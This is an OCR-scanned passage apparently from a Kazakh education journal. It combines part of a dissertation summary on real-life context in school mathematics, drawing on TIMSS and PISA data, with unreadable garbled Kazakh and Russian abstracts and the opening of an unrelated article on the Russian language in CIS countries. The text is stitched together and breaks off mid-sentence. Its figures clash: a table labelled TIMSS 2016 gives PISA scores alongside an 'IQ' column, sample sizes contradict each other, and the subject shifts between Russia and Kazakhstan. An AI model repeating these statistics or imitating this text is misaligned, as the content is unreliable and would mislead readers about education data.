al.,, 1997; Lange, 1996; Boaler, 1993; Chapman, 2006] and teachers’ beliefs [Meirink et al., 2009;
Thompson, 1992; Stipek et al., 2001]. However, a little attention has been paid to a connection between
the way of working with a problems’ context and a content of problem. Next, teachers’ beliefs about the
possibility to use a real-life context in education in Kazakhstan have not been explored yet. Finally, the
use of a real-life context in math education in Kazakhstan has not been considered from an international
perspective. Thus, the small numbers of empirical studies devoted to these questions inspired the decision
to explore this topic.
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Primary education (Grades 1 to 4) — This level is provided in primary schools, lower secondary
schools that include the primary level, and secondary schools that include all three levels of education.
The goals of primary education are the following: form children’s personalities; develop their individual
abilities; instill a positive attitude toward education; develop strong literacy, numeracy, and language
skills; encourage self-realization; and teach behaviors that will help children master subsequent education
programs in basic secondary school.

In order to monitor student performance in general educational programs, education organizations
conduct ongoing and interim assessments. Education organizations independently determine the method,
order, and frequency of assessments. Ongoing assessment of student performance is conducted by teachers
in all school subjects. Interim assessments are administered after the completion of the school year and
before May 31. Education organizations set a list of subjects in accordance with their own education
programs and curricula, which are based on the State Mandatory Standards for General Secondary
Education.

Objectives of the Research.

The aim of the dissertation was to analyze the use of real-life context in teaching at primary and
secondary school level in Kazakhstan and to consider the results from an international perspective of using
real-life context at school.

The mixed-method design was chosen to conduct that research.

In order to answer the first group of research questions, there were employed datasets of two large-
scale assessment TIMSS and PISA, and one panel from a longitudinal survey TrEC.

Main results. In order to answer the first group of research questions the datasets of TIMSS 2016,
PISA 2015 and TrEC were analyzed. First, according to TIMSS 2016 data, it was shown that mathematics
teachers in Russia and in foreign countries devote a comparable amount of time to many math teaching
practices, including working with real-life context. However, in Russia, students at the 8" grades are much
less likely to meet a task that requires more independent problem-solving activity (solving complex and
unfamiliar problems that do not have an obvious method of solution) compare to peers in other countries.
And, at the same time, they are much more likely to perform tasks on reproductive activity (apply facts,
concepts, and procedures to solve routine problems). As for math test, Russian students more often need to
solve problems on memorizing rules, procedures, and facts than their peers in foreign countries. It is
important to note, that the real-life word problems tasks were presented in math tests in Russia with the
same frequency as in foreign countries. Thus, in many cases, teachers in Russia use real-life context in
teaching mathematics to the same extent as teachers in other countries.

400-425 q
<400 v /§'
PISA 2015 Country Scores .
Source: hitpsi/iwww.oced. org/pisa/data/ verags Tor Sciche o, Mat, al;}'d' Reading s FnatolyKartin
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The result of PISA 2015
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However, the results of the international study of PISA 2015 revealed quite opposite results: students
in CIS are more familiar with the tasks and concepts that can be attributed to formal mathematics, rather
than to applied mathematics. For example, the 9™ students in CIS noted that they more often work in math
lessons with concepts from algebra (quadratic and exponential functions) and geometry (vectors,
polygons), solve equations, than with real-life word problems. Compare to other countries the frequency
of formal math problems is one the highest among them.

The Organization for Economic Cooperation and Development has released the influential PISA
rankings based on tests taken by 15-year-olds in more than 70 countries, including Kazakhstan. In total
over 500,000 15-year-olds took part in the PISA 2015. Kazakhstan was represented by 5,780 15-year-old
schoolchildren and students from 16 regions of the country (189 schools and 27 colleges). The OECD
rankings doesn't rank countries by points, instead, it highlights the high-achieving education systems.
Compared to the 2012 results, Kazakhstani students demonstrated progress in maths (28 points), reading
(34 points) and science (31 points). It became possible after Kazakhstan launched the National Action
Plan on the development of functional literacy of schoolchildren on instruction of Head of State Nursultan
Nazarbayev and took steps to update the content of secondary education. The Program for International
Student Assessment (PISA) provides education rankings on the basis of international tests taken by 15-
year-olds in maths, reading and science. The tests are taken every three years. It should be noted that
Asian countries have been dominating the rankings for the past couple of years with Singapore at the top.

Results of TIMMS survey 2016

# Country Math Reading Science Mean “1Q”
1 Singapore 564 535 556 551.7 107.8
2 Hong Kong (China) 548 527 523 532.7 104.9
3 Japan 532 516 538 528.7 104.3
4 Macao (China) 544 509 529 527.3 104.1
5 Estonia 520 519 534 524.3 103.7
6 Canada 516 527 528 523.7 103.6
7 Chinese Taipei 542 497 532 523.7 103.6
8 Finland 511 526 531 522.7 103.4
9 Korea 524 517 516 519.0 102.9
10 B-S-J-G (China) 531 494 518 514.3 102.2
13 Germany 506 509 509 508.0 101.2
21 Australia 494 503 510 502.3 100.4
22 Viet Nam 495 487 525 502.3 100.4
23 United Kingdom 492 498 509 499.7 100.0
28 Russia 494 495 487 492.0 98.8
31 United States 470 497 496 487.7 98.2
32 Latvia 482 488 490 486.7 98.0
44 Kazakhstan 460 427 456 447.7 92.2
52 Turkey 420 428 425 4243 88.7
63 Georgia 404 401 411 405.3 85.8
73 Dominican Republic 328 358 332 3393 75.9
OECD Average 490 493 493 492.0 98.8

The latest Timss makes better reading for Russia which moved from 10th up to 7th in the primary
maths table, stayed at 6th in secondary maths, climbed from 5th to 4th in primary science and stayed at
7th for secondary science. Kazakhstan also shot up the tables — from 27th to 12th place in primary maths,
17th to 7th in secondary maths, 32nd to 8th in primary science and 20th to 9th in secondary science.
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Nowadays Kazakhstan faces a formation of the new education system which focused on world
educational practice. This process is initiated by necessary changes in the pedagogical theory and practice
of teaching and educational process. The teacher jobs require new skill as the ability to find a right
pedagogical method in a wide range of modern, innovative approaches and create a valuable training
material of the new generation. This aspiration of reaching all students spans disciplines, age levels, and
all varieties of institutions. Most teachers do so out of a genuine love for their subject and a desire to share
the wonder of their chosen field with others. Science teaching is no different than other disciplines in this
respect. However, try as we may in science, the lack of diversity apparent in the statistics of who chooses
to pursue scientific disciplines professionally suggests that we still have much to learn about how to reach
all students.

In the last 20 years, international surveys assessing learning in reading, mathematics, and science
have been headline news because they put countries in rank order according to performance. The three
most popular reviews are TIMSS, PISA, and PIRLS. The main difference between TIMSS and PISA is the
type of sample and focus of research. Pupils of the 4th and 8th classes take part in TIMSS. Only 15-year-
old pupils of schools (7-12 grades) and colleges participate in PISA. TIMSS measures the academic
knowledge (What? Where? When?), 80% of the TIMSS tasks are directed to the reproduction of culture.
PISA measures functional competences - the ability to effectively apply knowledge in various life
situations, to logically think and draw valid conclusions (Why? What for? As?) to interpret information
schedules and charts, etc. Our teenagers know the school program in biology, but don't understand what
GMO is. They are not wrong in calculations but have problems with statistics... Recently was published
results of PISA-2015, the sample is more than 400 thousand teenagers from 57 countries. The rating of
Kazakhstan is only in the fourth ten. Monitoring of quality of education at PISA school is carried out in
four main directions: literacy of reading, mathematical literacy, natural-science literacy and computer
literacy. The PISA monitoring allows revealing and comparing the changes in education systems in the
different countries and estimating the efficiency of strategic education decisions. Analyzing our failures in
the PISA tasks, scientists have selected the long list of "deficiencies" — those skills which aren't enough for
school students for the successful solution of functions.

PISA (Programme for International Student Assessment) - an assessment of mathematical, natural-
science and reader's literacy of 15-year-old students. The research is conducted by OECD 3-year cycles
since 2000. Kazakhstan has experience of participation in two PISA-2009 and PISA-2012 projects.

In comparison with PISA-2009 Kazakhstan has improved results in the direction of mathematical and
natural-science functional competence of school students. The growth of an indicator of effectiveness on
mathematical literacy has made 27 points (2009 - 405, 2012 - 432 points) and 25 points on natural
sciences (2009 - 400, 2012 - 425 points).

Will present 8 261 15-year-old students of 232 organizations of secondary education including from
16 NIS to PISA-2015 Kazakhstan.

TIMSS (Trends in International Mathematics and Science Study) - an assessment of the quality of
mathematical and natural-science education of pupils of the 4th and 8th classes. It is carried out by 4-year
cycles since 1995.

In TIMSS-2011 the GPA of the Kazakhstan fourth-graders in the direction mathematical literacy has
made 501 and 495 - natural-science competence (on 1000 mark system). Eighth-graders on mathematics
have gathered - 487, on natural sciences - 490 points.

The total number of students from Kazakhstan (179 schools) who took part in TIMSS-2015 (the 4th
classes — 4 852 people, the 8th classes — 5 038 people).

For the first time, Kazakhstan took part in the TIMSS study in 2007. As a result, Kazakh fourth-
graders took fifth place out of 36 countries in mathematical literacy and the 11th place in sciences.

The study is aimed at identifying students’ capacities to apply knowledge and skills in different
situations for an adequate socialisation. Nowadays, modern parents are trying to pay more attention to
children and unveil their skills in various directions realising that rapidly developing world generates more
challenges for younger people.

According to Assan Zholdassov, head of Pythagoras School, engaged in training competitive students
in science, technology, mathematics and engineering, students tend to choose careers in technical areas.
“At present, great number of children show interest in mathematics and exact sciences. Students like to
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compete; they are fond of solving mathematical tasks. Parents also make a great contribution to children’s
study,” said Zholdassov in an interview to the Astana Times.

The OECD doesn't range the country on the gained points. The main reason for this assessment is to
show the progress of educational systems all around the world. In comparison with PISA-2012, the
Kazakhstan participants of the international test have shown improvement in all directions of research.
Growth in mathematics has made 28 points and to natural sciences - 31 points. The trend of the progress
of mathematical and natural-science competences remains at the high level. In 2012 growth in comparison
with 2009 made 27 and 25 points respectively. Our 15-year-old students showed the highest rate of a gain
of points in PISA-2015 on reader's literacy (+34). It has become possible thanks to the "National plan of
action for the development of functional literacy of school students" realized at the request of the Head of
state and actions for the transition to the updated maintenance of school education. Thus, target indicators
of the state program of development of knowledge and science, the strategic plan of the Ministry of
Education and Science for 2014-2018 where expected values have been provided in 440 points on
mathematics (fact 460), 430 on natural sciences (456), 400 on reader's literacy (427) are reached.

Besides, all 15-year-old school students of Nazarbayev Intellectual Schools (2 061 people) for the
first time have taken part in the PISA-2015 project. Their influence on the general results of Kazakhstan
has been corrected in proportion to a share of pupils of NIS from the total number of pupils of the repub-
lic [9].

Nazarbayev Intellectual Schools (NIS) are an initiative of the government of Kazakhstan intended to
educate the future intellectual leaders of the country. This network of elementary and secondary schools
teaches students in a trilingual environment of Kazakh, Russian, and English.

NIS accepts talented, motivated students, with the aim of developing them into critical thinkers and
independent learners. NIS schools are located throughout Kazakhstan, with new campuses opening due to
rapid expansion throughout 2014 and 2015. As a result, NIS is recruiting experienced teachers for the
opportunity to become part of their educational initiative.

Their influence on the general results of Kazakhstan has been corrected in proportion to a share of
pupils of NIS from the total number of pupils of the republic. The NIS students showed excellent results in
mathematics, and natural sciences competitions (Singapore, Hong Kong, Macau, the Chinese Taipei,
Japan, etc.). Participants from Nazarbayev of intellectual schools gained 523 scores on math, natural
sciences - 517 and in reading 492 scores. The Results of Kazakhstan in PISA-2015 raised serious
questions. The full and in-depth analysis with concrete conclusions and recommendations was published
in the National report. 70% of the questions PISA estimate abilities to apply knowledge. Earlier it was
reported that the Kazakhstan pupils of 4 classes took the seventh place on mathematics and the eighth
place on natural sciences in TIMSS. Pupils of 57 countries have entered the international monitoring
research of quality of school mathematical and natural-science education of TIMSS (Trends in
Mathematics and Science Study).

We interviewed foreign teachers working in NIS. Most of them were really happy to work with kids,
“brilliant”, “gifted”. More than 50% of teachers complaints about stress at work, bad management, and
bad cooperation between administration and teachers.

International comparative studies have played a key role in the modernization of Kazakhstan’s
education system. Kazakhstan’s participation in international studies is stipulated in the State Program for
Educational Development and is funded by the national budget. The significance of the country’s
participation in these studies is invaluable. It not only allows the country to obtain objective data, but
gives a realistic assessment of the achievements and problems of education in the country.

TIMSS results have informed the review of natural science and mathematics curricula, teaching
methods in mathematics and natural science, and university- and college-based teacher education
programs in Kazakhstan. For example, the TIMSS conceptual model was used in the development of
educational programs and textbooks by the National Academy of Education Named After Y. Altynsarin.
The JSC National Center for Professional Development “Orleu” developed special programs to support
teaching staff in implementing international assessments that evaluate student achievement.

National experts have undertaken in-depth analyses of TIMSS nonconfidential test items. Two-stage
assessments of student educational achievement were conducted in 2012-2014, taking into account
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TIMSS technologies. The same sample of schoolchildren (Grades 5 to 6 and Grades 8 to 9) participated in
the study both times. Parents also participated in the national study.

What are the benefits of international surveys? Governments need to know what is going on in the
systems for which they are responsible. Leaders have to decide where to allocate resources according to
greatest need. International surveys could help them to make better decisions based on more transparent
data. The announcement of performances has had a significant impact on national discussions about
education systems and policies. Schools and teachers can reflect on a survey’s global analysis and
consider recommendations for good practice. The studies obtain supplementary information through
questionnaires and correlate this with the test results. For example, PISA 2012 states that lack of
punctuality and truancy are negatively associated with test performance, and makes recommendations
regarding learner engagement. National research and professional development programmers often use the
data from the international surveys as a starting point.

There is, however, a significant distinction in what the two tests purport to measure: the TIMSS is
focused on formal mathematical knowledge, whereas the PISA emphasizes the application of mathematics
in the real world, what they term “mathematics literacy." As a consequence, it would not be surprising to
find significant differences in how students perform, given that some countries’ teachers might
concentrate on formal mathematics and others’ on applied mathematics.

But the real surprise is that these differences may not matter quite as much as we might suspect. For
the first time, the most recent PISA test included questions asking students what sorts of mathematics they
had been exposed to, whether formal mathematics, applied mathematics, or word problems. After
analyzing the new PISA data, we discovered that the most significant predictor of how well a student did
on the PISA test was exposure to formal mathematics. That fact is a notable finding, to be sure since the
PISA is designed to assess skill in applied rather than formal math. Exposure to applied mathematics has a
weaker relationship to mathematics literacy, one with diminishing marginal returns. After a certain point,
more work in applying math is related to lower levels of mathematics literacy.

Why these unexpected results? One reason might be that students need to be very comfortable with a
mathematical concept before they can apply it in any meaningful way. One cannot calculate what
percentage of one's income is going to housing without a clear understanding of how proportions work. It
appears that a thorough grounding in formal mathematical concepts is a prerequisite both to knowledge
and to using mathematics.

The analysis of the teachers’ approaches towards real-life context in lesson showed, that in most
cases teachers avoided the elaborating the context of the problem (narrative approach) and paid more
attention to the overall structure of the problem, its type and the use of the known method of solutions
(paradigmatic approach). In general, teaching interventions towards word problems of Russian teachers
are corresponded to teaching practices in other countries. In addition, math teachers both in CIS (Russia)
and other countries are more focused on the modeling phase of problem solving than on the interpretation
phase. However, unlike foreign colleagues, Russian teachers do not pay attention to distinguishing
relevant and irrelevant information in word problem.

Finally, the interventions towards word problems varied significantly by the type of the word
problem. If the word problem’ context was significant to a student life and had non-routine formulation,
then the teachers were more likely to elaborate the real-life context of that problems. Conversely, if the
word problem had to be solved just with modeling the situation, then math teachers devoted more time to
the structure of such a problem. Thus, the methods used by teachers towards word problems are related to
the characteristics of the word problem.

Next results were obtained answering to the third group of research questions. First, based on the
analysis of math teachers interviews, it was shown that a significant part of teachers does not consider the
role of real-life context as meaningful and self-contained in teaching mathematics. Although teachers in
CIS and in other countries devote almost an equal amount of time to real-life context in teaching math,
mostly Russian teachers use word problems in order to support teaching of the theoretical material or even
as an entertainment. Math teachers in other countries also consider word problems as an additional source
of increasing students' motivation, but, in comparison with Russian teachers, they do not distinguish this
type of activity as secondary to the mastery of the theoretical material.
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Secondly, in math teachers’ opinions, an additional difficulty of using real-life context math lessons
is the lack of a sufficient number of appropriate word problems. In result, teachers have to spend large
resources for searching for these tasks or to develop them. Moreover, together with additional time costs
for searching word problems, teaching interventions of real-life context is quite time-consuming, in
teachers’ opinions. Similar difficulties are experienced by math teachers in other countries, which also
indicate a great time cost of using the real-life context in math lessons. Finally, math teachers both in
Russia and other countries noted the lack of professional training for the work with the real-life context in
teaching mathematics.

In general, this study allowed us to consider the use of real-life context in teaching mathematics from
several points of view, as well as from an international perspective. The conducted analysis and
comparison of teaching methods on datasets of TIMSS 2011, PISA 2012 and TrEC have shown us
significant differences in the frequency of using tasks with low and high cognitive loads. Further, the
analysis of the teachers’ approaches towards word problems has demonstrated that math teachers both in
Kazakhstan and other countries similarly work with the real-life context of word problems. And an
analysis of teachers’ beliefs has revealed similar attitudes of math teachers both in CIS and abroad to the
use of real-life context in teaching mathematics. Thus, the use of real-life context in math lesson is rather
similarly organized in Kazakhstan and in other countries.

It is important to note, that the real-life context plays a secondary and supportive role in teaching
subject in school, according to the results of the study. First, due to the teachers’ approaches towards word
problems, the teacher implicitly signals to students what is relevant to learning math in school. By
skipping elaborating the problemcontext, a teacher indirectly shows these interventions should not be paid
attention to and that learning in school has nothing to do with real-life context. Secondly, the secondary
role of real-life context was shown by the using of those word problems which often were not a correct
model of the real-life. Finally, in teachers’ beliefs, the real-life context also plays only a supporting role in
the math learning process.
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oJlap/bl OaH opi JaMBITYIbIH JKaHa TACUIAEpiH a3ipieyai Kaxer ereni. Tuimainiri sxkorapsl OitiM Oepy xyiteci — en
HKOHOMHKACHIHBIH >KOHE Ka3aKCTaHJIbIK KOFAaMHBIH TYPaKThl ©CYyiH KaMTaMachl3 €TETiH HeTi3ri (akTopiapasiH Oipi.
biznin MemiiekeTimi3aiH OiiM Oepy >KyHeciHe *ypri3iin kaTkaH pedopMasapbIH MaKcaThl jkahaHaaHyabl ecKepe
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OTHIPHII, OHBIH HAPBIKTHIK SKOHOMHKA IMIAPTTApHIHIA Calaiibl e3repyiH KaMTaMachl3 €Ty Ooubin Ta0bsutagsl. bimim
Oepyni peopmanay OCHI canana >KHHAKTAIIFaH OH QJICYETTi CAKTay HETi3iHIe OCHI MPOIECTi TePEHACTY KOHE TAMBITY
YIIiH jKaHa KYKBIKTHIK, FRUIBIMH, 9ICTEMENIK, KapKBUIBIK JKOHE MaTepHAIABIK JKaFJaiaap sl jKacayabl XKoHE THICTI
IITATTHIK KamTamachl3 eTyai Taian erexi. Memseker Oacuibicki H.O.HaszapOaeBreiH «100 HakThl Kagamiap»
KocrapbiHa OuTiM Oepyre kemn KeHin OeminreH. Aran aiitkanna, Kasakcran IIpesuaenti ObIJI¥ ennpepiniy cran-
naprrapeiia (PISA, TIMMS) HerizaenreH ajami KalmuTalAbIH CallaChlH apTThIPY Typaiibl alTThl. 2016 >KbUIIBIH
1 KpIpKy#ierineH Oactan OYKis ey OOMBIHINA aJFAIKbl CHIHBINTAP 12 KBUIIBIK OKY OarIapiiaMachlHa aybICTHIPBUIIBI.
Ocpuraiima, OiniM Oepy[iH KaHAPTBUIFAaH Ma3MyHbIHA Kelry Oacrtanibl. bipiHmi ceiHbinTaH Oacran «TadburarTany»
(>xapaTBUIBICTaHy FHUIBIMAAPHI HETI31) JKOHE YIIIHIII CHIHBINTAH «AKIapaTThIK-KOMMYHHUKAIMSUIIBIK TEXHOJIOTHSLIAP)»
JKaHa IeHI eHri3inai. Mekrenteri 0i1iM Oepy/IiH KYHAETIKTI eMipi KOHTEKCTiHiH OOJIybl TaKbIPHIIT Ma3MYHBIH TEPEH
MEHIepy JKOHE JKaIIbl TAHBIMIBIK JaFAbUIapIbl JAMBITY YIIIH KeH MYMKIHIIKTEPIiH K631 Ooubin Tabbutaabl. Ockl-
naima, OipkaTap 3epTTeyJepACH aHBIKTAJIFaHIal, MyFaTiMACpIiH KYHICTIKTI eMipleri KOHTCKCTIH MmaimanaHy
mpobiemManapapl STy YIIiH KBl JaFIbUIapAbl JaMbITaasl, KYHICTIKTI eMipleri mpodieManapasl menry YIIiH
YiipeHTeH MaTepuangapIpl Mainaranyra KOMEKTeCce i, COHai-aK oJapAbl OKBITyFa BIHTANaHAbIpansl. TIMSS sxoHe
PISA xampikapanbIK 3epTTeyiepiHe Coiikec, Ka3aKCTaHIBIK OUTiM adyIIbuIap MOHIIK Ma3MYHIBI ©T€ JKOFaphl ICH-
reiijie ycTaipl, 0ipak KOHTEKCTIK aKMapaTIeH KYKTeIreH MiHACTTep Il MIeHIyre diieKaia a3 KabiierTi.

Tyiiin ce3gep: Oacraybim OimiM Oepy, )KaHAPTY, KYHACTIKTI eMip karaaibl, (yHKIHOHAJBIK CayaTThUIBIK,
PISA, TIMMS.

H. A. Toiiéazaposa’, I'. Ha:;aponsa2

' Axtio6uHcKkuit yausepcuter uM. C. Banmresa, Kazaxcran,
Open University, Kam6pumk, BenukoOpuranus

MOJEPHUM3ALIUA CUCTEMbBI OBPAZOBAHUA B KASAXCTAHE:
NEPCIIEKTUBbBI X1 ITPOBJIEMbI

Annoranus. CoBpeMeHHbIE TCHACHINH B cepe oO0pa3oBaHUS PecIyONMKH W 3aJadd, CTOSIINE TEepel ero
pa3INYHBIME YPOBHSIMH, BBI3BIBAIOT HEOOXOAMMOCTH MEPEOCMBICICHUS MX pONH, (QYHKIMH M MecTa B 0OOmieH
cucteMe o0pa3oBaHUs, BEIPAOOTKM HOBBIX MOAXOAOB B MX AaJIbHEiIIeM pa3BHTHU. BeicokoaddexTnBHas cucrema
00pa3zoBaHusl ABISIETCSI ONHUM M3 OCHOBHBIX (DaKTOPOB OOECIEUEHHs] yCTOWYHBOTO POCTa 3KOHOMUKU CTPAHBI U
Ka3axcTaHckoro obriectBa. Llens mpoBoauMBIX pedopM B CHCTeME O0pa30BaHMs HAIIEro rocyJapcTBa — odecre-
YEeHHE KaueCTBEHHOT'O ee MpeoO0pa3oBaHus B YCIOBUSX PHIHOYHOI SKOHOMHUKH C y4eToM riodanuzauuu. Pedopmu-
poBaHue 00pa3oBaHUsI TPeOyeT CO3/aHMs HOBBIX INPABOBBIX, HAYYHO-METOJUYECKHX, (PHHAHCOBO-MAaTEPUAIbHBIX
YCIIOBUI M aJieKBaTHOTO KaJpoOBOTro oOecnedeHus A YriayOJeHWs W pa3sBHTHS 3TOrO IpOoILecca Ha OCHOBE CO-
XpaHEeHUs] HAaKOIUIEHHOTO B 3TOW cdepe mo3uTuBHOro noreHuuana. B Ilnane Haumm «100 KOHKpETHBIX MIaroB»
I'naBel rocynapcrBa Hypcynrana HazapbaeBa Gosnbiioe BHIMaHuE yaeneHo oOpa3zoBaHuio. B wactHocTH, [Ipesunent
KazaxcTtana roBopmII 0 IOBBIIICHAH KadeCTBa YEIIOBEUECKOTO KanuTana Ha ocHoBe craHnaptoB crpan ODCP (PISA,
TIMMS). C 1 cenTsa6ps 2016 roma mepBbie KITacchl IO BCell CTpaHe NMepennIi K 00yIeHHI0 TIo iporpamMme 1 2-neTHei
mIKoJbl. TakuMm 00pa3oM, Havajcs mepexon K OOHOBICHHOMY conepkaHuio oOpa3oBaHus. C mepBOro Kimacca BBEIH
HOBBIH Tpenmer «EcrecTBo3HaHME» (OCHOBBI €CTECTBEHHBIX HAYK) U C TpeTbero kiacca — «H(OpMamoHHO-KOM-
MYHHUKALIMOHHbIE TEXHOJIOTHM». [IpUCYTCTBHE KOHTEKCTAa MOBCEIHEBHOM KM3HU B IIKOJIBHOM OOYYECHHUH SIBISIETCS
MCTOYHHMKOM LIMPOKUX BO3MOXKHOCTEH Kak /It Oosiee TIIyOOKOIro YCBOEHHMSI IPEIMETHOTO COAEPIKAHUS, TaK M JUIS
pa3BUTHA 06IJ_II/IX KOTHUTUBHBIX HAaBBIKOB. TaK, B paae l/ICCJ'leZlOBaHl/Iﬁ 6])1.]'[0 IMMOKa3aHO, 4YTO HCIIOJb30BAHUEC YyYU-
TCJISIMHU KOHTCKCTAa HOBC@HHCBHOﬂ JKHU3HHU B o6y'1eH1/11/1 Pa3BUBACT y y4UalllUXCH OG[IJ,I/IC HaBBIKW PECIICHUA npoGneM,
IIOMOTaeT UM B NPUMEHEHNH W3yYSHHOI'O MaTepHaja JJIsl pelIeHus 3a1ad B TIOBCEIHEBHON JKM3HM, a TAKXKE MOBBI-
IIaeT UX MOTHBAIMIO K 00yueHnto. CorjlacHO TaHHBIM MeXayHapoaHbIX nccnenosanuii TIMSS u PISA, kazaxcran-
CKHE ydalllMecs BIAACIOT IPEIMETHBIM COJEpXKaHHEM Ha JOBOJBHO BBHICOKOM YPOBHE, HO 3HAUUTENBHO XYXKE
CHPABIISAIOTCS C 3aaHUsIMHU, HArpy>KeHHBIMU KOHTEKCTHOH MH(OpMAaIeH.

KiroueBble cjioBa: HadaabHOE 00pa30BaHME, MOJAEPHHU3ALMS, KOHTEKCT MOBCEIHEBHOW >KM3HH, (YHKIHO-
HalbHas TpaMOTHOCTE, PISA, TIMMS.
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THE ROLE AND POSITION OF RUSSIAN LANGUAGE
IN FORMER USSR COUNTRIES

Abstract. Today Russian for the present plays a role of language for international communication continuously
being used in a number of business communities, financial and bank systems and even some state structures in CIS
countries. Majority of population of these countries (about 70%) use it masterfully enough. The integral part of any
culture is a language. A language is a cultural tool which forms personal identity, vision, mentality and social atti-
tudes. Russian language is not an exception. In the second half of XX century over 300 million people (by some
calculations - up to 500 million people) used Russian as native, non-native or foreign language [4, 23]. According to
some scholars around 286 million people can speak Russian. This language is quite popular because more than 100
states in the world have Russian classes. Russian was and continues to remain one of the leading world languages.
As for official status of Russian language, nowadays it takes the third place after Chinese (over 1 billion) and English
(750 million) in the world. Russian is one of 6 official languages of the UN, an official and/or a working language in
most of authoritative international organizations such as IAEA, UNESCO [6]. In the world Russian is spoken by
over 300 million people, including over 140 million who consider it as their native language. Russian is a commu-
nication language for over 160 different nationalities. The formation of a single informational space in the post-
Soviet countries is an important, but difficult challenge which requires close cooperation among the former Soviet
republics in different fields. However, constant contradictions and conflicts between the CIS countries initiate some
problems in the creation of single information space in the CIS countries. After disintegration of the Soviet Union the
Russian language in the post-Soviet space existed without any support for a long time that caused not only the
negative tendencies but disturbing signs of irreversible destruction of this communicative institute in a number of the
new independent states. The article includes full analysis of Russian language status in the CIS countries and
describes legislative acts in this field, the provision of Russian-speaking mass media separately in each CIS country
and also looks into issues related to legislative restrictions of broadcasting in Russian language.

Key words: Russian language, USSR, CIS, state language.

The integral part of any culture is a language. A language is a cultural tool which forms personal
identity, vision, mentality and social attitudes. Russian language is not an exception. In the second half of
XX century over 300 million people (by some calculations - up to 500 million people) used Russian as
native, non-native or foreign language [4, 23]. According to some scholars around 286 million people can
speak Russian. This language is quite popular because more than 100 states in the world have Russian
classes. Russian was and continues to remain one of the leading world languages.

As for official status of Russian language, nowadays it takes the third place after Chinese (over 1 bil-
lion) and English (750 million) in the world. Russian is one of 6 official languages of the UN, an official
and/or a working language in most of authoritative international organizations such as IAEA, UNESCO
[6]. In the world Russian is spoken by over 300 million people, including over 140 million who consider it
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Top Ten Languages in the Internet
in Millions of users - December 2017
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Figure 1 — Top 10 languages in the Internet.

as their native language. Russian is a communication language for over 160 different nationalities. Russian
language position in top ten languages in Internet is number 8 (figure 1).

The collapse of the Soviet Union and education system on its territory and independent states created
a set of the most challenging problems not only in the field of economics and state constructions, but also
in the field of culture. The extraordinarily difficult situation arose in such important sphere as a role of
Russian and its relation to other local languages of the title nations in all new states of the Commonwealth.

From the middle of 90th years of XX century situation began to change but in some states it remains
the same. The Russian scholars pay more attention to the role of Russian language as a key to integration
in CIS. The Soviet past in the form of an imperial complex is still powerful and let Russia (Moscow)
control other states. According to Pyanov (2011), most independent states have unmotivated myths and
fears concerning Russia, pursuing own political purposes and tasks.

The formation of a single informational space in the post-Soviet countries is an important, but
difficult challenge which requires close cooperation among the former Soviet republics in different fields.
However, constant contradictions and conflicts between the CIS countries initiate some problems in the
creation of single information space in the CIS countries. After disintegration of the Soviet Union the
Russian language in the post-Soviet space existed without any support for a long time that caused not only
the negative tendencies but disturbing signs of irreversible destruction of this communicative institute in a
number of the new independent states. The article includes full analysis of Russian language status in the
CIS countries and describes legislative acts in this field, the provision of Russian-speaking mass media
separately in each CIS country and also looks into issues related to legislative restrictions of broadcasting
in Russian language.
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The new CIS countries accept Russian not merely as Russian language but as the language of the
USSR and Soviet’s language. In this function, Russian proves in two main qualities. First “the Soviet
language” [21] undertook a role of international communication language within the newly independent
states. Secondly, it acts as the age (generational) communication medium tool. Thus, the need for Russian
will be reduced naturally in the process of reduction of the “Soviet” generation citizens.

However, the situation through generation can sharply change. Nowadays, we can evidence a process
of Russian-speaking space destructions. The role of local languages has been increased and this
phenomenon is typical for all CIS. Russian is losing its positions in social, political and economic life,
culture, mass media and education. Young generations of CIS tend to speak more English than Russian.

Russia has been urging all CIS member states to grant Russian language with an official status. So far
Russian is an official language in only four states which are Russia, Belarus, Kazakhstan and Kyrgyzstan.
Russian is also considered an official language in the region of Transnistria and the autonomous region of
Gagauzia in Moldova.

According to Sherbakova (2016), the population of CIS totaled around 282 million people and three
times less than population of EU (742 millions).

lllkraing I — I
Peianis | ————
EUZE [ — EEE—
Russia | | I
Moldova | | |
Armenia | - I
CIS [m—— I
azerbaian | e — —
Kazakhs:an | | .
Uzbekisan | | -
Kyrgyzsan | | |
Tajkisan | I =
Turkmenisian | I =

0-14 ~ 15-24 m25-54 6564 mB5+

Figure 2 — The age diversity of population of CIS and EU

According to forecasts, in next 10 years the number of people who speak Russian to languages in the
CIS countries, at preservation of the current trends, will increase almost twice (that is approximately upto
80 million people) and will exceed the number to some extent knowing Russian (60 million people)
(Sherbakova, 2016).

The number of many former Soviet republics which speak Russian among the younger generation is
especially quickly reduced. It is necessary to track, as far as possible maintaining an appropriate level of
knowledge of Russian in some areas of the Commonwealth. In Central Asia, the situation with knowledge
of Russian language was an object of detail studies. Kyrgystan is a leading country with highest number of
labor migrants in Russia. According to Poddubskaya (2015) population in Kyrgyzstan speak Russian
worse than in Kazakhstan. One of the possible explanations is the fact that majority of Russian speaking
Kyrgyz population are currently living in Russia (Moscow).

Poddubskaya (2015) paid close attention to the quantity TV program broadcast in Russian language
in CIS countries. According to paragraph 5 of the Constitution of the Kyrgyz Republic (2007) and the Law
“About Official (Russian) Language of the Kyrgyz Republic” of 2000, Russian has the official status and
besides it is the language of international communication.

Russian and Russian-language media take the leading positions in the republic. “The largest and
influential in the republic and, first of all, in the capital are Evening Bishkek, Case No. and Word of
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Kyrgyzstan newspapers which are issued in Russian. Still, Russian programs remain the most watchable
with Gostele radio which also broadcasts on Channel One and VGTRK, a considerable part of the
population gives them preference before local”.

At the beginning of 2010, the number of the Russian population in Kazakhstan constituted 23,3% of
the population of the country. At the same time, 84,8% of the population of the country know Russian. In
Kazakhstan Russian has the official status which confirmed in the Constitution of the Republic of
Kazakhstan and the Law of 1997 “About languages in the Republic of Kazakhstan”. In 2004 Government
made amendments in Law of language according to the “language of work and office-work of public
authorities, the organizations and local government bodies of the Republic of Kazakhstan is the state
language Kazakh, but Russian has equal rights” [10]. Nevertheless, in 2006 Government declared the
decision that all official papers should be in Kazakh. The current state language programme has the multi-
language policy.

The president of Kazakhstan Nursultan Nazarbayev published in the state newspaper “Egimen
Kazakhstan” (“Sovereign Kazakhstan™) an article in which disposed to transfer the Kazakh alphabet from
Cyrillic on Latin by 2025. This news causes the negative chain reaction in “patriotic”” Russia.

Kazakhstan remains to one of the three Central Asian countries of the former Soviet Union where
Cyrillic alphabet is used (in Kyrgyzstan and Tajikistan). In XX century Kazakhstan had already went
through two language reforms which took place in 1929 when they transformed from Arabic alphabet to
Latin alphabet (a year after Ataturk translated Turkish into Latin) and later in the 1940s transforming it to
